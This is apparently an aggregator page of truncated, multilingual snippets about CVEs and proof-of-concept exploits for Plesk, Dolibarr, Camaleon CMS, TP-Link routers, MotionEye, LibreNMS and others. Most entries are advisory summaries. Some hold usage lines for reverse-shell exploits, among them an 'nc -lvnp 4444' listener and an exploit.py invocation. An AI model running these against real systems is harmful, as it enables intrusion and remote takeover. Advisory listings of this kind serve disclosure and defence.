CVE-2026-65646

Improper neutralization of special elements in Plesk allows remote authenticated users to disclose arbitrary local files and escalate privileges...

CVE-2025-45250

CVE-2025-45250 Vorgeschlagene Beschreibung root@kitploit: MrDoc =0.95 is vulnerable to Server-Side Request Forgery SSRF in the validateurl function of the appdoc/utils.py file. POC root@kitploit: POST /uploaddocimg/ HTTP/1.1 Host: ip:port Accept-Encoding: gzip, deflate DNT: 1 Cookie: your cookie...

POC-exploit-for-Dolibarr

POC-Exploit für Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field

Security Advisory: Camaleon CMS - RCE autenticata tramite campo personalizzato selecteval ID CVE assegnato: CVE-2026-66748 Prodotto: Camaleon CMS https://github.com/owen2345/camaleon-cms Versioni interessate: 2.1.1 – 2.9.1 introdotta dal commit 415cbda6 del 2015-10-16; corretta dal commit 1588236...

TP-L-NK-SIZMA-EXPLO-T

TP-LiNK-SIZMA-EXPLOiT TP-Link Router Authenticated RCE Exploit CVE-2022-30075 Esta ferramenta utiliza a vulnerabilidade CVE-2022-30075 encontrada no TP-Link Archer AX50 e em alguns outros modelos de roteadores TP-Link para realizar execução remota de comandos autenticada Authenticated Remote Code...

cve-2024-37764

Descrição O MachForm até a versão 19 é afetado por um cross-site scripting armazenado autenticado. Na aplicação web alvo, a requisição feita ao recurso vulnerável foi encontrada sofrendo de ataque XSS. Os parâmetros do corpo da requisição POST dentro da URL vulnerável carecem de sanitização, o qu...

CVE-2026-66493

Path Traversal nelle operazioni sui file Elimina / Copia / Sposta PhocaCommander ≤ 6.1.3 — Admin autenticato manipola file al di fuori della webroot SOMMARIO Il gestore delle azioni sui file in PhocaCommander costruisce i percorsi di origine e destinazione a partire da parametri codificati in...

CVE-2026-66491

Lettura arbitraria di file tramite getSource in PhocaCommander PhocaCommander ≤ 6.1.3 — Path traversal amministrativo autenticato, nessun CSRF richiesto SOMMARIO Una vulnerabilità di lettura arbitraria dei file è presente nell'endpoint dell'editor di file di PhocaCommander. La funzione getSource...

CVE-2020-14008

CVE-2020-14008 - RCE no ManageEngine Applications Manager Execução Remota de Código Autenticada via Upload Arbitrário de Arquivos no Zoho ManageEngine Applications Manager versões = 14720. Resumo da Vulnerabilidade...

CVE-2022-1329-WordPress-Elementor-3.6.0-3.6.1-3.6.2-Remote-Code-Execution-Exploit

WordPress Plugin - Elementor 3.6.0 3.6.1 3.6.2 Remote Code Execution root@kitploit: Google Dork: none Date: April 16 2022 Exploit Author: AkuCyberSec https://github.com/AkuCyberSec Vendor Homepage: https://elementor.com/ Software Link: https://wordpress.org/plugins/elementor/advanced/ scroll down...

CVE-2024-30167

Atlona OME प्रमाणित कमांड इंजेक्शन के लिए PoC अस्वीकरण : यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। इस कोड का उपयोग उन सिस्टमों पर न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है। मैं किसी भी दुरुपयोग के लिए जिम्मेदार...

CVE-2023-40028

CVE-2023-40028 Prova di Concetto Questo repository contiene una prova di concetto POC per CVE-2023-40028, che dimostra una vulnerabilità nel sistema di gestione dei contenuti Ghost dove gli utenti autenticati possono caricare symlink, portando a vulnerabilità di lettura arbitraria di file...

CVE-2024-57175

CVE-2024-57175: Cross-Site Scripting XSS Memorizzato in PHPGURUKUL Online Birth Certificate System v1.0 Descrizione Una vulnerabilità di Cross-Site Scripting XSS Memorizzato è stata identificata in PHPGURUKUL Online Birth Certificate System v1.0 nella pagina /user/certificate-form.php. Questa...

CVE-2026-24849

CVE-2026-24849 OpenEMR Lettura Arbitraria di File Autenticata EtherFax disposeDoc Testato su: OpenEMR Versione = 7.0.2 Proof-of-concept exploit per CVE-2026-24849 , una lettura arbitraria di file / path-traversal autenticata nel modulo Fax/SMS EtherFax di OpenEMR. Qualsiasi utente autenticato...

CVE-2026-20262-Cisco-Catalyst-SD-WAN-Manager-Arbitrary-File-Write-

CVE-2026-20262 - Cisco Catalyst SD-WAN Manager में मनमानी फ़ाइल लेखन पथ ट्रैवर्सल -orange 📋 विवरण CVE-2026-20262 Cisco Catalyst SD-WAN Manager पहले SD-WAN vManage के वेब इंटरफ़ेस में पथ ट्रैवर्सल CWE-22 भेद्यता है। यह एक प्रमाणित हमलावर को लेखन अनुमतियों के साथ AnyConnect प्रोफ़ाइल अपलोड endpoint...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE RCE autenticata in MotionEye = 0.43.1b4 tramite bypass della convalida lato client sul campo imagefilename. Utilizzo root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Opzioni...

CVE-2026-55182 LibreNMS: Remote Code Execution by Signal Alert Transportation Module

LibreNMS is a network monitoring system. In versions from 21.6.0 up to 26.5.0, the Signal alert transport is vulnerable to command injection because the signal-cli path and the Recipient field of an alert transport entry are insufficiently escaped before being passed to an exec call. An...

CVE-2026-55182

LibreNMS , a network monitoring system, is vulnerable to command injection in the Signal alert transport module (versions 21.6.0 through 26.5.0). The root cause lies in insufficiently escaped signal-cli path and Recipient field in the deliverAlert function of Signal.php, which are passed to unsaf...

CVE-2026-37070

CVE-2026-37070 Fehlerhafte Zugriffskontrolle in /vfm-admin/ajax/streamvid.php im Veno File Manager Project in Version 4.4.9 erlaubt einem authentifizierten Angreifer, beliebige von anderen Benutzern hochgeladene Dateien zu lesen, sofern er den Pfad und den Dateinamen kennt, und zwar über eine...

CVE-2026-66492

Pfad-Traversal im Zielverzeichnis des Datei-Uploads PhocaCommander ≤ 6.1.3 — Authentifizierter Administrator schreibt Dateien außerhalb des Webroot ZUSAMMENFASSUNG Der Datei-Upload-Handler in PhocaCommander erstellt den Zielpfad aus einem angreiferkontrollierten, base64-kodierten folder-Parameter...